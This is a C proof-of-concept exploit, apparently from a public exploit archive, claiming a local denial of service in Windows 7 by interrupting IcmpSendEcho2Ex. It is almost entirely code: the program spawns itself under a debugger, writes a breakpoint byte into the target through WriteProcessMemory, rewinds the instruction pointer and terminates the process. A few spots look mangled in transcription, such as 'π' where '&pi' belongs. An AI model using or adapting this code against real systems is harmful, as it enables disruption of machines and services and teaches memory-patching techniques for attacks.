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/* Microsoft Windows DoS (IcmpSendEcho2Ex interrupting) Author: l3D Sites: http://nullbyte.org.il, http://forums.hacking.org.il IRC: irc://irc.nix.co.il/#security Email: pupipup33@gmail.com Tested on Windows 7 Microsoft Windows operating system is prone to a local DoS by interrupting the function IcmpSendEcho2Ex. The IP address argument should be a non-exist IP address on the net, so the function will wait longer time. */ #include <stdio.h> #include <windows.h> #include <iphlpapi.h> #include <winsock2.h> #pragma comment(lib, "iphlpapi.lib") #pragma comment(lib, "ws2_32.lib") #define PARAM 0xDEADBEEF void Terminate(HANDLE hProcess){ Sleep(150); TerminateProcess(hProcess, -1); } int main(int argc, char **argv){ if( argc<2){ printf("Usage: %s <ip address>\n", argv[0]); return 1; } if( IsDebuggerPresent()){ HANDLE iphlpapi=LoadLibrary("iphlpapi.dll"); if( !iphlpapi){ perror("iphlpapi.dll"); return 1; } FARPROC IcmpSendEcho=GetProcAddress(iphlpapi, "IcmpSendEcho"); FARPROC IcmpCreateFile=GetProcAddress(iphlpapi, "IcmpCreateFile"); FARPROC IcmpCloseHandle=GetProcAddress(iphlpapi, "IcmpCloseHandle"); if( (IcmpSendEcho && IcmpCreateFile && IcmpCloseHandle)==0){ perror("icmp functions"); return 1; } unsigned long ipaddr=INADDR_NONE, params[2]; HANDLE hIcmpFile; char data[32], *reply; int replySize=sizeof(ICMP_ECHO_REPLY)+sizeof(data); if( (ipaddr=inet_addr(argv[1]))==INADDR_NONE){ perror("Illegal IP address!"); return 1; } if( (hIcmpFile=(HANDLE)IcmpCreateFile())==INVALID_HANDLE_VALUE){ perror("IcmpCreateFile"); return 1; } reply=(char *)malloc(replySize); ZeroMemory(data, sizeof(data)); params[0]=PARAM; params[1]=(unsigned long)GetProcAddress(iphlpapi, "IcmpSendEcho2Ex"); RaiseException(EXCEPTION_BREAKPOINT, 0, 2, params); puts("Exception raised!"); IcmpSendEcho(hIcmpFile, ipaddr, data, sizeof(data), NULL, reply, replySize, 1000); puts("This line should never be shown..."); IcmpCloseHandle(hIcmpFile); return 0; } PROCESS_INFORMATION pi; STARTUPINFO si; HANDLE hProcess, hThread; DEBUG_EVENT debugEvent; EXCEPTION_RECORD *ExceptionRecord=&debugEvent.u.Exception.ExceptionRecord; CONTEXT context; FARPROC IcmpSendEcho2Ex=NULL; char path[256], args[512], originalByte[1]; ZeroMemory(π, sizeof(PROCESS_INFORMATION)); ZeroMemory(&si, sizeof(STARTUPINFO)); ZeroMemory(&debugEvent, sizeof(DEBUG_EVENT)); ZeroMemory(&context, sizeof(CONTEXT)); ZeroMemory(path, sizeof(path)); ZeroMemory(args, sizeof(args)); si.cb=sizeof(STARTUPINFO); si.dwFlags=STARTF_USESHOWWINDOW; si.wShowWindow=SW_HIDE; context.ContextFlags=CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS; GetModuleFileName(NULL, path, sizeof(path)-1); snprintf(args, sizeof(args)-1, "%s %s", path, argv[1]); if( !CreateProcess( NULL, args, NULL, NULL, FALSE, DEBUG_PROCESS, NULL, NULL, &si, π )){ perror("CreateProcess"); return 1; } if( (hProcess=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId))==NULL){ perror("OpenProcess"); return 1; } HANDLE kernel32=LoadLibrary("kernel32.dll"); FARPROC DebugSetProcessKillOnExit=GetProcAddress(kernel32, "DebugSetProcessKillOnExit"); FARPROC DebugActiveProcessStop=GetProcAddress(kernel32, "DebugActiveProcessStop"); FARPROC OpenThread=GetProcAddress(kernel32, "OpenThread"); CloseHandle(kernel32); DebugSetProcessKillOnExit(TRUE); while(WaitForDebugEvent(&debugEvent, INFINITE) && debugEvent.dwDebugEventCode!=EXIT_PROCESS_DEBUG_EVENT){ if( debugEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT && ExceptionRecord->ExceptionCode==EXCEPTION_BREAKPOINT){ if( ExceptionRecord->NumberParameters>1 && ExceptionRecord->ExceptionInformation[0]==PARAM){ IcmpSendEcho2Ex=(FARPROC)ExceptionRecord->ExceptionInformation[1]; printf("IcmpSendEcho2Ex %p\n", IcmpSendEcho2Ex); if( !BreakpointSet(hProcess, IcmpSendEcho2Ex, &originalByte)){ perror("BreakpointSet"); break; } } else if( ExceptionRecord->ExceptionAddress==IcmpSendEcho2Ex){ printf("EIP %p\n", IcmpSendEcho2Ex); if( !BreakpointRetrieve(hProcess, IcmpSendEcho2Ex, &originalByte)){ perror("BreakpointRetrieve"); break; } if((hThread=(HANDLE)OpenThread(THREAD_ALL_ACCESS, FALSE, debugEvent.dwThreadId))==NULL) puts("OpenThread"); if(!GetThreadContext(hThread, &context)) puts("GetThreadContext"); context.Eip -= 1; if(!SetThreadContext(hThread, &context)) puts("SetThreadContext"); CreateThread(NULL, 0, (void *)Terminate, hProcess, 0, NULL); } } else if( debugEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT){ puts("Exception!"); DebugActiveProcessStop(debugEvent.dwProcessId); break; } ContinueDebugEvent(debugEvent.dwProcessId, debugEvent.dwThreadId, DBG_CONTINUE); ZeroMemory(&debugEvent, sizeof(DEBUG_EVENT)); } return 0; } BOOL BreakpointSet(HANDLE hProcess, void *addr, char *originalByte){ unsigned long oldProtect; if( VirtualProtectEx(hProcess, addr, 1, PAGE_EXECUTE_READWRITE, &oldProtect) && ReadProcessMemory(hProcess, addr, originalByte, 1, NULL) && WriteProcessMemory(hProcess, addr, "\xCC", 1, NULL) && VirtualProtectEx(hProcess, addr, 1, oldProtect, &oldProtect)) return TRUE; else return FALSE; } BOOL BreakpointRetrieve(HANDLE hProcess, void *addr, char *originalByte){ unsigned long oldProtect; if( VirtualProtectEx(hProcess, addr, 1, PAGE_EXECUTE_READWRITE, &oldProtect) && WriteProcessMemory(hProcess, addr, originalByte, 1, NULL) && VirtualProtectEx(hProcess, addr, 1, oldProtect, &oldProtect)) return TRUE; else return FALSE; } |
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